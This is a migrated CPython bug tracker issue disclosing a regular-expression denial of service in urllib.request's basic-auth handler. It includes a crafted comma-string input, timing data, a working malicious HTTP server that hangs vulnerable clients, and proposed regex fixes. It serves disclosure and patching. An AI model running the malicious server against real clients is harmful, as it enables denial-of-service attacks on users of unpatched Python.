Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler

[bcaller]

BPO	38826
Nosy	@vstinner, @mgorny, @tirkarthi, @bcaller
Superseder	bpo-39503: [security][CVE-2020-8492] Denial of service in urllib.request.AbstractBasicAuthHandler

^{Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.}

Show more details

GitHub fields:

assignee = None
closed_at = <Date 2020-03-25.16:19:39.791>
created_at = <Date 2019-11-17.01:45:42.896>
labels = ['type-security', '3.8', '3.7', 'library', '3.9']
title = 'Regular Expression Denial of Service in urllib.request.AbstractBasicAuthHandler'
updated_at = <Date 2020-03-25.16:19:39.789>
user = 'https://github.com/bcaller'

bugs.python.org fields:

activity = <Date 2020-03-25.16:19:39.789>
actor = 'vstinner'
assignee = 'none'
closed = True
closed_date = <Date 2020-03-25.16:19:39.791>
closer = 'vstinner'
components = ['Library (Lib)']
creation = <Date 2019-11-17.01:45:42.896>
creator = 'bc'
dependencies = []
files = []
hgrepos = []
issue_num = 38826
keywords = []
message_count = 5.0
messages = ['356785', '356787', '356800', '363269', '364995']
nosy_count = 6.0
nosy_names = ['vstinner', 'mrabarnett', 'mgorny', 'xtreak', 'Anselmo Melo', 'bc']
pr_nums = []
priority = 'normal'
resolution = 'duplicate'
stage = 'resolved'
status = 'closed'
superseder = '39503'
type = 'security'
url = 'https://bugs.python.org/issue38826'
versions = ['Python 2.7', 'Python 3.5', 'Python 3.6', 'Python 3.7', 'Python 3.8', 'Python 3.9']

[bcaller]

The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable to malicious inputs which cause denial of service (REDoS).

The regex is:

    rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'
                    'realm=(["\']?)([^"\']*)\\2', re.I)

The first line can act like:

(,*,)*(,+)[ \t]

Showing that there are many different ways to match a long sequence of commas.

Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses will reach the regex via the http_error_auth_reqed method as long as the header value starts with "basic ".

We can craft a malicious input:

urllib.request.AbstractBasicAuthHandler.rx.search(
    "basic " + ("," * 100) + "A"
)

Which causes catastrophic backtracking and takes a large amount of CPU time to process.

I tested the length of time (seconds) to complete for different numbers of commas in the string:

18 0.289
19 0.57
20 1.14
21 2.29
22 4.55
23 9.17
24 18.3
25 36.5
26 75.1
27 167

Showing an exponential relationship O(2^x) !

The maximum length of comma string that can fit in a response header is 65509, which would take my computer just 6E+19706 years to complete.

Example malicious server:

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_basic_auth(n_commas):
        commas = "," * n_commas
        return f"basic {commas}A"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(401)
            n_commas = (
                int(self.path[1:])
                if len(self.path) > 1 else
                65509
            )
            value = make_basic_auth(n_commas)
            self.send_header("www-authenticate", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

Vulnerable client:

    import urllib.request
    opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())
    opener.open("http://localhost:44020/")

As such, python applications using urllib.request may need to be careful not to visit malicious servers.

I think the regex can be replaced with:
rx = re.compile('basic[ \t]+realm=(["\']?)([^"\\']*)\\2', re.I)

• Ben

[tirkarthi]

Thanks for the report. Please report security issues to security@python.org so that the security team can analyze and triage it to be made public. More information at https://www.python.org/news/security/

[bcaller]

I have been advised that DoS issues can be added to the public bug tracker since there is no privilege escalation, but should still have the security label.

[mrabarnett]

A smaller change to the regex would be to replace the "(?:.*,)" with "(?:[^,],)*".

I'd also suggest using a raw string instead:

rx = re.compile(r'''(?:[^,]*,)*[ \t]*([^ \t]+)[ \t]+realm=(["']?)([^"']*)\2''', re.I)

[vstinner]

This issue is a duplicate of bpo-39503 which has a PR. Thanks Ben Caller for the report, I credited you in my fix ;-)